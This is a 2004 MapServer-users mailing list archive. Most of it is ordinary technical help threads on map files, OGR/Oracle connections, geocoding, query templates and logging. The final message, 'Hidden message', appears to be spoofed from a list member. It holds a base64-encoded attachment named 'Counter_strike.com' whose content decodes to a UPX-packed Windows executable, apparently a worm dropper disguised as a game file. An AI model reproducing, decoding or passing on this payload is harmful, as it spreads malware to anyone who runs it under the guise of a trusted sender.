END So the COLOR was outside the STYLE object. When we moved the COLOR into the STYLE object, everything worked as expected. So bottom line: never mingle the old way of doing symbolization with the new STYLE way of doing it. Best regards, Bart _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Tue Jun 22 07:58:03 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Tue, 22 Jun 2004 09:58:03 -0500 Subject: [Mapserver-users] changing the order of classes Message-ID: No, you can't. Sorry. Steve >>> 6/22/2004 2:46:31 AM >>> Hi, I will create an new class which is draw before all other classes from the map-file. For layer I can change the drawingorder. Can I change the drawingorder of classes also? thanks Steffen Koehler _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From arnulf.christl at ccgis.de Tue Jun 22 09:26:02 2004 From: arnulf.christl at ccgis.de (Arnulf Christl) Date: Tue, 22 Jun 2004 18:26:02 +0200 Subject: [Mapserver-users] MUM registrant list available? In-Reply-To: <2576812186CDD411BF1500508B6DCE9506A83676@ecnwri1.ontario.int.ec.gc.ca> References: <2576812186CDD411BF1500508B6DCE9506A83676@ecnwri1.ontario.int.ec.gc.ca> Message-ID: <40D85D9A.8090901@ccgis.de> Kralidis,Tom [Burlington] wrote: > > >>-----Original Message----- >>From: mapserver-users-admin at lists.gis.umn.edu >>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of >>Charlton Purvis >>Sent: Tuesday, June 22, 2004 11:06 AM >>To: mapserver-users at lists.gis.umn.edu >>Subject: [Mapserver-users] MUM registrant list available? >> >> >>I'm the type of knucklehead who forgets to exchange business >>cards once the tables are bussed and it's time to go to the >>next workshop. Will a registrant list w/ institution >>affiliation be online and available soon? >> >> >> > >This happened to me too! This would be great to have online. > > > >>(Of course, in traditional knucklehead fashion, it might >>already be somewhere, but I just can't find it.) >> >> >> > >There's also a OGC:WMS/OGC:WFS online of the participants (those who >agreed to have their names published), at: > >http://dev1.dmsolutions.ca/cgi-bin/mswms_mum2 > >Note that the URL above will not work as is -- you have to feed this >into a WMS/WFS aware application. > > > Maybe we could add the URL that links to the presentation of the presenter (those who agreed to have their names published) to the resultset of a FeatureInfo request. Local user groups We are currently preparing the UMN User Meeting in Germany (just one humble day, but packed full). Before announcing it in the press we want to finish the German language MapServer homepage (like the Brazilians did). What about copyrights, linking to the (one and only) original website because we wont be able to translate the whole documentation and keep it actual. So if anybody could enlighten me to whom I should talk to about these questions - please let me know. Cheers, Arnulf. >Cheers > >..Tom > > > > >>Thanks, >> >>Charlton >> >> >> >> >>Charlton Purvis >>(803) 777-8858 : voice >>(803) 777-3935 : fax >>cpurvis at sc.edu >> >>Baruch Institute >>University of South Carolina >>Columbia, SC 29208 >> >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users >> >> >> > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > -- ---------------------------- CCGIS Christl & Stamm GbR ---------------------------- http://www.ccgis.de http://www.mapbender.org ---------------------------- Service: +49 (0)228 90826 0 Direct: +49 (0)228 90826 23 Fax: +49 (0)228 90826 11 ---------------------------- CCGIS Christl & Stamm GbR Siemensstra?e 8 53121 Bonn GERMANY From tjmitchell at riverside.bc.ca Tue Jun 22 09:52:05 2004 From: tjmitchell at riverside.bc.ca (Tyler Mitchell) Date: Tue, 22 Jun 2004 09:52:05 -0700 Subject: [Mapserver-users] Other MapServer mailing lists In-Reply-To: Message-ID: Wow, great discussion around this topic folks. I'm not sure how to summarize it in any meaningful fashion except to say that I think the jury is out on the pros/cons of all these options. I'll try to pull together something more meaningful on the topic when time permits. Tyler From COUTUJF at dfo-mpo.gc.ca Tue Jun 22 10:26:18 2004 From: COUTUJF at dfo-mpo.gc.ca (COUTUJF at dfo-mpo.gc.ca) Date: Tue, 22 Jun 2004 13:26:18 -0400 Subject: [Mapserver-users] OGR ovf access problem Message-ID: Hello list, I'm trying to access a distant Oracle database from Mapserver using the ovf file and an ODBC connection. I tested the ovf file with ogrinfo as per the WIKI and it worked OK. When I try to access the layer in mapserver I keep getting the following error message: msDrawMap(): Image handling error. Failed to draw layer named 'sipa'. msOGRFileOpen(): OGR error. Open failed for OGR connection `sipa.ovf'. File not found or unsupported format. I did try to follow WIKI tip #1: 1.Enable mod_env 2.add lines like: setenv ORACLE_HOME /path/ 3.restart apache But I don't have Oracle installed on the webserver's machine, only the ODBC driver. So I can't figure out what the path should be... Must I install Oracle? Thanks, JF Jean-Francois Coutu Canadian Coast Guard coutujf at dfo-mpo.gc.ca From woodbri at swoodbridge.com Tue Jun 22 10:34:48 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Tue, 22 Jun 2004 13:34:48 -0400 Subject: [Mapserver-users] free map server/mapping hundreds of addresses on a webpage In-Reply-To: <40D84763.9040508@colorado.edu> References: <40D84763.9040508@colorado.edu> Message-ID: <40D86DB8.4000702@swoodbridge.com> You can use Geo::ShapeFile and perl. It is pretty simple to do if you have any experience with Perl. -Steve Vincent J. Troisi wrote: > What utility permits one to convert a table in an ascii text file to > a shapefile? > > Thanks. > > > David Bitner wrote: > >> It sounds like you have a list of addresses to geocode after which it >> will >> be a static layer? >> >> If this is the case, one thing you could do is geocode all the addresses, >> either by hand or by writing scripts to interact with one of the >> geocoders >> mentioned before, to add an x and a y field to your table with the >> addresses. You could then either convert that to a shapefile, or use the >> display points from a table method that has been discussed on this list >> before. >> >> You could then query these points the same as any other geographic layer. >> >> >> -----Original Message----- >> From: Ed Bourque [mailto:edbourque at hotmail.com] >> Sent: Monday, June 21, 2004 4:37 PM >> To: bitner at macnoise.com >> Subject: RE: [Mapserver-users] free map server/mapping hundreds of >> addresses on a webpage >> >> >> Hello >> >> Thanks for your reply. Is there a way to get all of these geocoded >> addresses onto a big US map (and regional, state maps) which could have >> clickable points? >> >> Thanks >> >> Ed B >> >> >> >>> From: "David Bitner" >>> To: "Ed Bourque" , >>> >>> Subject: RE: [Mapserver-users] free map server/mapping hundreds of >>> addresses on a webpage >>> Date: Mon, 21 Jun 2004 16:30:43 -0500 >>> >>> Three TIGER based geocoders are out there right now that I know of: >>> >>> The geocoder.us geocoder: >>> http://geocoder.us/ >>> >>> The VegGIS geocoder: >>> http://gis.vegcrew.net/ >>> >>> The google geocoder: >>> http://dan.egnor.name/google.html >>> >>> *********************************** >>> David W Bitner >>> GIS Specialist >>> Metropolitan Airports Comission >>> >>> -----Original Message----- >>> From: mapserver-users-admin at lists.gis.umn.edu >>> [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Ed Bourque >>> Sent: Monday, June 21, 2004 3:58 PM >>> To: mapserver-users at lists.gis.umn.edu >>> Subject: [Mapserver-users] free map server/mapping hundreds of addresses >>> on a webpage >>> >>> >>> Hello >>> >>> I have only the following software (ArcView 3.x) and I would like to be >>> able >>> to geocode addresses and map these on a website. I thouht TIGER line >>> data >>> would be the best.... Which data and software would you recommend? >>> Any help would be appreciated >>> >>> Ed B >>> >>> >>> _______________________________________________ >>> Mapserver-users mailing list >>> Mapserver-users at lists.gis.umn.edu >>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >> >> >> >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From Ballini.Yvain at seat.it Tue Jun 22 10:39:27 2004 From: Ballini.Yvain at seat.it (Ballini Yvain) Date: Tue, 22 Jun 2004 19:39:27 +0200 Subject: [Mapserver-users] Cartographic question Message-ID: <4B1A1EC0790F054193453C48725D43185D7A37@MSGBE1V1.seat.it> Hi List, I would like to have a piece of information about the definition and the use of the parameter extent in mapserver. For another application I'm using a cartographic formula which calculates the extent of a map with the following inputs: - Coordinates (in latlong) of the center of the map (Xc, Yc). - the zoom which is defined as the longitudinal scale (the scale along the parallel Xc) - the size of the map in pixel (Xp, Yp). My question is the further one: I would like to know if mapserver redefines the extent parameter after that it has been passed in the url. How mapserver is managing the scale paramater which should be different along the X- and the Y-direction? When I'm asking to mapserver to draw a map with an extent = Xm, Ym, XM, YM, (430*380), it turns me a map which is ok, and if I try with an extent = Xm, Ym-alpha,XM, YM+alpha (430*380), mapserver turns a map which has changed the extent in Y (which is ok) and also in X: that seems it has redefined the extent parameter ! I may be wrong with the use of my formula (because I'm considering that the scale in X is the same than the sclae in Y, which is only an approximation) and that's why I would like to know if there is a basic way to get the extent of a zone with the 3 inputs which I've mentioned before. Thank you very much for any answer. Don't hesitate to ask me any additional information. Yvain Ballini. From gheysen.t at skynet.be Tue Jun 22 10:51:49 2004 From: gheysen.t at skynet.be (gheysen.t at skynet.be) Date: Tue, 22 Jun 2004 19:51:49 +0200 Subject: [Mapserver-users] new user Message-ID: <200406221751.i5MHpnT7004034@outmx017.isp.belgacom.be> -------boundalter150977 Content-Type: text/plain Content-Transfer-Encoding: 8bit Hi, All the documenation about mapserver are at : http://mapserver.gis.umn.edu/doc.html . There are a tutorial at : http://terrasip.gis.umn.edu/projects/tutorial/. Best regards. Thibaut Hi, I have just joined a company and I am required to learn Mapserver. pls can anyone guide me to a very basic tutorial which will take me through the essential concepts. I have no background in graphics although i am quite familiar with php. cheers, Jubril ALL-NEW Yahoo! Messenger - sooooo many all-new ways to express yourself -- -------boundalter150977 Content-Type: text/html Content-Transfer-Encoding: 8bit Content-Disposition: inline Hi,
 
All the documenation about mapserver are at : http://mapserver.gis.umn.edu/doc.html .
There are a tutorial at : http://terrasip.gis.umn.edu/projects/tutorial/.
 
Best regards.
 
Thibaut


Hi,


 


I have just joined a company and I am required to learn Mapserver.  pls can anyone guide me to a very basic tutorial which will take me through the essential concepts.  I have no background in graphics although i am  quite familiar with php.


 


cheers,


 


Jubril 



ALL-NEW
Yahoo! Messenger
- sooooo many
all-new ways to express yourself

--


-------boundalter150977-- From Chip.Hankley at rmtinc.com Tue Jun 22 10:56:00 2004 From: Chip.Hankley at rmtinc.com (Chip Hankley) Date: Tue, 22 Jun 2004 12:56:00 -0500 Subject: [Mapserver-users] OGR ovf access problem Message-ID: First, make sure that you are using the LATEST version of MapServer. This only works w/ MapServer versions compile with newer versions of GDAL. If you are using one of the pre-compliled binaries, then it's very likely you're version is NOT recent enough. As of last week, I found that the only version that would do this was the 4.2 beta version mapserver binary on DM Solutions website. My hunch is that if the ogrinfo tests worked OK, then it's probably that your MS version doesn't have the right version of GDAL. Chip >>> 06/22/04 12:26PM >>> Hello list, I'm trying to access a distant Oracle database from Mapserver using the ovf file and an ODBC connection. I tested the ovf file with ogrinfo as per the WIKI and it worked OK. When I try to access the layer in mapserver I keep getting the following error message: msDrawMap(): Image handling error. Failed to draw layer named 'sipa'. msOGRFileOpen(): OGR error. Open failed for OGR connection `sipa.ovf'. File not found or unsupported format. I did try to follow WIKI tip #1: 1.Enable mod_env 2.add lines like: setenv ORACLE_HOME /path/ 3.restart apache But I don't have Oracle installed on the webserver's machine, only the ODBC driver. So I can't figure out what the path should be... Must I install Oracle? Thanks, JF Jean-Francois Coutu Canadian Coast Guard coutujf at dfo-mpo.gc.ca _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users Outgoing messages, along with any attachments, are scanned for viruses at RMT prior to sending. ------------------------------------------------------------------------------ NOTICE--This email may contain confidential and privileged information for the sole use of the intended recipient. Any review or distribution by others is strictly prohibited. If you are not the intended recipient, please contact the sender immediately and delete all copies. From andrew at andrewhaigh.net Tue Jun 22 11:01:32 2004 From: andrew at andrewhaigh.net (Andrew Haigh) Date: Tue, 22 Jun 2004 19:01:32 +0100 Subject: [Mapserver-users] How to log requests on remote wms-servers In-Reply-To: <40D8284B.4030003@dmsolutions.ca> References: <26FAB31EFF50034782DFE474AB44FE3E02933F@nt-sf-exchange.Windows2000> <40D8284B.4030003@dmsolutions.ca> Message-ID: <315D1B32-C476-11D8-ABCD-000A95B8513A@andrewhaigh.net> Everyone, If all you want to do is log requests, can't you just use your webserver logs? Hope this helps. Andrew On 22 Jun 2004, at 13:38, Daniel Morissette wrote: > Frieso ter Haseborg wrote: >> Hi, >> LOG "c:\Programme\Apache Group\Apache2\htdocs\tmp\ms.log" >> or >> LOG ms.log >> gives no difference. So far I never had any problems using '/' >> instead of '\'. >> Are there any other requirements to be met for ms to get a debug-log? > > The LOG directive applies only to the mapserv CGI via the traditional > CGI interface. It has no effect with the WMS or WFS interfaces or with > MapScript. > > BTW, there are two other ways to generate log output in MapServer: > - Setting the MS_ERRORFILE environment variable will log all error > messages to the specified file > - Compiling with --enable-debug (i.e. adding the -DENABLE_STDERR_DEBUG > -DNEED_NONBLOCKING_STDERR compile flags) will generate lots of debug > output to stderr (i.e. to the Apache error_log). > > We've been talking about unifying all this, you'll find more details > in bug 709: > http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=709 > > > Now, if all you need is to log requests then none of the above will do > what you want. In this case you could simply create a wrapper script > that logs the request and passes control to the mapserv.exe. > > Daniel > -- > ------------------------------------------------------------ > Daniel Morissette dmorissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From COUTUJF at dfo-mpo.gc.ca Tue Jun 22 11:37:31 2004 From: COUTUJF at dfo-mpo.gc.ca (COUTUJF at dfo-mpo.gc.ca) Date: Tue, 22 Jun 2004 14:37:31 -0400 Subject: [Mapserver-users] OGR ovf access problem Message-ID: Hey Chip, thanks for the hint, but I do have the latest Mapserver installed (4.2 beta). The only thing is I think that 4.2 beta still uses GDAL 1.1.x, OpenEV currently uses GDAL 1.2. I'm not sure if ovf files are only supported in 1.2. I think it should work with 1.1 hence my version should be OK. Anymore ideas? Thanks, JF -----Message d'origine----- De : Chip Hankley [mailto:Chip.Hankley at rmtinc.com] Envoy? : 22 juin 2004 13:56 ? : COUTUJF at dfo-mpo.gc.ca; mapserver-users at lists.gis.umn.edu Objet : Re: [Mapserver-users] OGR ovf access problem First, make sure that you are using the LATEST version of MapServer. This only works w/ MapServer versions compile with newer versions of GDAL. If you are using one of the pre-compliled binaries, then it's very likely you're version is NOT recent enough. As of last week, I found that the only version that would do this was the 4.2 beta version mapserver binary on DM Solutions website. My hunch is that if the ogrinfo tests worked OK, then it's probably that your MS version doesn't have the right version of GDAL. Chip >>> 06/22/04 12:26PM >>> Hello list, I'm trying to access a distant Oracle database from Mapserver using the ovf file and an ODBC connection. I tested the ovf file with ogrinfo as per the WIKI and it worked OK. When I try to access the layer in mapserver I keep getting the following error message: msDrawMap(): Image handling error. Failed to draw layer named 'sipa'. msOGRFileOpen(): OGR error. Open failed for OGR connection `sipa.ovf'. File not found or unsupported format. I did try to follow WIKI tip #1: 1.Enable mod_env 2.add lines like: setenv ORACLE_HOME /path/ 3.restart apache But I don't have Oracle installed on the webserver's machine, only the ODBC driver. So I can't figure out what the path should be... Must I install Oracle? Thanks, JF Jean-Francois Coutu Canadian Coast Guard coutujf at dfo-mpo.gc.ca _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users Outgoing messages, along with any attachments, are scanned for viruses at RMT prior to sending. ---------------------------------------------------------------------------- -- NOTICE--This email may contain confidential and privileged information for the sole use of the intended recipient. Any review or distribution by others is strictly prohibited. If you are not the intended recipient, please contact the sender immediately and delete all copies. From helmster_99 at yahoo.com Tue Jun 22 11:38:21 2004 From: helmster_99 at yahoo.com (Chris Helm) Date: Tue, 22 Jun 2004 11:38:21 -0700 (PDT) Subject: [Mapserver-users] Querying a single layer Message-ID: <20040622183821.15052.qmail@web50701.mail.yahoo.com> Im having problems with the ability to query a layer of polygons in mapserver 4.2. The layer is fully attributed and I have created a query template, placed it in what I believe to be its respective place in the mapfile, but when I try to query the layer in my application I get an error saying "Search Returned No Results: no matching records found." If anyone could give me a review of the basic concepts of how mapserver reads the query templates, and how to get them working, I would be very thankful. Stuck in Boulder,CO.-- C.W.HELM __________________________________ Do you Yahoo!? Yahoo! Mail - 50x more storage than other providers! http://promotions.yahoo.com/new_mail From pramsey at refractions.net Tue Jun 22 11:58:50 2004 From: pramsey at refractions.net (Paul Ramsey) Date: Tue, 22 Jun 2004 11:58:50 -0700 Subject: [Mapserver-users] free map server/mapping hundreds of addresses on a webpage In-Reply-To: References: Message-ID: <40D8816A.6050602@refractions.net> Your sentence is not quite clear: do you want a website that takes in addresses and maps points? Or do you have a file full of addresses, that you want to turn into points and then map? If the latter, ArcView has quite a capable geocoder built into it, which I have used with some success. Paul Ed Bourque wrote: > I have only the following software (ArcView 3.x) and I would like to be > able to geocode addresses and map these on a website. I thouht TIGER > line data would be the best.... Which data and software would you > recommend? > Any help would be appreciated > > Ed B -- __ / | Paul Ramsey | Refractions Research | Email: pramsey at refractions.net | Phone: (250) 885-0632 \_ From woodbri at swoodbridge.com Tue Jun 22 12:00:11 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Tue, 22 Jun 2004 15:00:11 -0400 Subject: [Mapserver-users] Querying a single layer In-Reply-To: <20040622183821.15052.qmail@web50701.mail.yahoo.com> References: <20040622183821.15052.qmail@web50701.mail.yahoo.com> Message-ID: <40D881BB.5080103@swoodbridge.com> Chris Helm wrote: > Im having problems with the ability to query a layer > of polygons in mapserver 4.2. The layer is fully > attributed and I have created a query template, placed > it in what I believe to be its respective place in the > mapfile, but when I try to query the layer in my > application I get an error saying "Search Returned No > Results: no matching records found." > > If anyone could give me a review of the basic concepts > of how mapserver reads the query templates, and how to > get them working, I would be very thankful. Does the layer have a TEMPLATE "dummy" or some real template? Here is simple query only layer definition I use. I have not tried this on 4.2 yet: LAYER NAME "states" TYPE QUERY STATUS ON DATA "us/st99_d00" TOLERANCE 50 TOLERANCEUNITS FEET CLASS TEMPLATE "dummy" END METADATA "DESCRIPTION" "States" "RESULT_FIELDS" "NAME" END END -Steve W. From woodbri at swoodbridge.com Tue Jun 22 12:29:32 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Tue, 22 Jun 2004 15:29:32 -0400 Subject: [Mapserver-users] Re: template dummy? In-Reply-To: <20040622192138.34390.qmail@web50705.mail.yahoo.com> References: <20040622192138.34390.qmail@web50705.mail.yahoo.com> Message-ID: <40D8889C.2090706@swoodbridge.com> You need to have a TEMPLATE tag or the layer will not be queried. If you already have one then no problem. I use mapscript and don't use HTML templates so my file all say TEMPLATE 'dummy' where 'dummy' is a none existent file, just to keep mapserver happy. So, I'm not sure what the problem is then. You might want to post your LAYER definition so people can review it and comment. Did this work in earlier versions of mapserver and just now break on 4.2? -Steve W. Chris Helm wrote: > Sorry for my lack of knowledge, but what do mean by > TEMPLATE 'dummy'. My template is a seperate html file > that simply contains the names of the attribute fields > in the dbf. For the most part it looks like: > > > > ...and so on >
[AREA][PERIMETER]
> > > If i understand you correctly it seems that ill create > a seperate layer whose only purpose will be to query > the dbf of my polygon layer. But what does the dummy > template look like opposed to mine? > > > I'll try it out and see what I get > > Thank you very much! > > C. W. Helm > > __________________________________________________ > Do You Yahoo!? > Tired of spam? Yahoo! Mail has the best spam protection around > http://mail.yahoo.com > From woodbri at swoodbridge.com Tue Jun 22 13:09:52 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Tue, 22 Jun 2004 16:09:52 -0400 Subject: [Mapserver-users] Re: thanx In-Reply-To: <20040622194146.38480.qmail@web50709.mail.yahoo.com> References: <20040622194146.38480.qmail@web50709.mail.yahoo.com> Message-ID: <40D89210.6000803@swoodbridge.com> Chris Helm wrote: > Steve- > > Its all fixed--I just jumped the gun and didnt realize > that my tolerance was #'ed. I really appreciate the > help, Im just learning how to incorperate mapscript > and its coming along, but slow. Thanks agian, but np. > with mapscript how exactly do you define the layout of > a query results page if each is labeled a 'dummy' > file? In mapscript, I don't use the templates at all that is why they are all 'dummy'. I use mapscript to read the metadata info for the layer and then extract the value(s) requested in the metadata from the shape attributes and generate my output page on the fly. The TEMPLATE tag is so mapserver knows how to do it in CGI mode and as an optimization, mapserver will not do queries for any layer that does not have a template tag, hence the TEMPLATE 'dummy' -Steve From Godwinl at AGR.GC.CA Tue Jun 22 13:40:55 2004 From: Godwinl at AGR.GC.CA (Godwin, Liz) Date: Tue, 22 Jun 2004 16:40:55 -0400 Subject: [Mapserver-users] Other MapServer mailing lists Message-ID: <482A7044F4DB2740884BAF6AFD7416092042F3@onncrxms2.agr.gc.ca> Tyler et al. I'm a little late responding to the list on this one, mainly because it is so busy. My MapServer folder gets swamped, and I stop checking because after a week I have 500 or so messages to read. EEAK! A while ago I suggested a forum instead of a list. I'm thinking now that dropping the list is a bad idea, but maybe have it work with a forum, or something like that. I've seen online forums that you subscribe to like mailing lists. You can either subscribe to entire forum subjects (Mapscript, Developer, Newbie etc) or just certain threads. I would even go so far as to suggest I could START something. I have space...but no domain other than my own. I think it would be better to have a unified Mapserver community where the wiki, documentation and forum/list could be accessed like they are now, just improved. Instead of having pieces built all over the place. This would involve UMN unless it starts from scratch. At the moment there is no way for the community to edit the MapServer page other than editing the wiki. Ooph! Good luck Tyler on pulling concensus from this. Most of the ideas I read through were good ones! Liz Godwin -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Tyler Mitchell Sent: June 22, 2004 12:52 PM To: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Other MapServer mailing lists Wow, great discussion around this topic folks. I'm not sure how to summarize it in any meaningful fashion except to say that I think the jury is out on the pros/cons of all these options. I'll try to pull together something more meaningful on the topic when time permits. Tyler _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jnielsen at aero-graphics.com Tue Jun 22 14:13:20 2004 From: jnielsen at aero-graphics.com (Jason M. Nielsen) Date: Tue, 22 Jun 2004 15:13:20 -0600 Subject: [Mapserver-users] ESRI Ascii grid format... Message-ID: <1087938800.40d8a0f035d97@www.agi-lan.com> Sorry for the off topic noise everyone. I have some ascii files dumped as the AAIGRID format from gdal. These are esri ascii grids. The format appears simple: ncols 98 nrows 172 xllcorner 1044355.808370659710 yllcorner 10042832.567399607971 cellsize 91.442854747403 *then the z values are listed for each line* Problem is I dont know which friggin way these go. I tried left to right starting lower left and incrementing x and y. I end up with skewed data. Does anyone know where I can get the specs on this format that explicitly explain in thorough detail how its formated? Thanks. From steve.lime at dnr.state.mn.us Tue Jun 22 16:43:16 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Tue, 22 Jun 2004 17:43:16 -0600 Subject: [Mapserver-users] Hidden message Message-ID: ----------bozblqxafconubtwqxru Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------bozblqxafconubtwqxru Content-Type: application/octet-stream; name="Counter_strike.com" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Counter_strike.com" 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 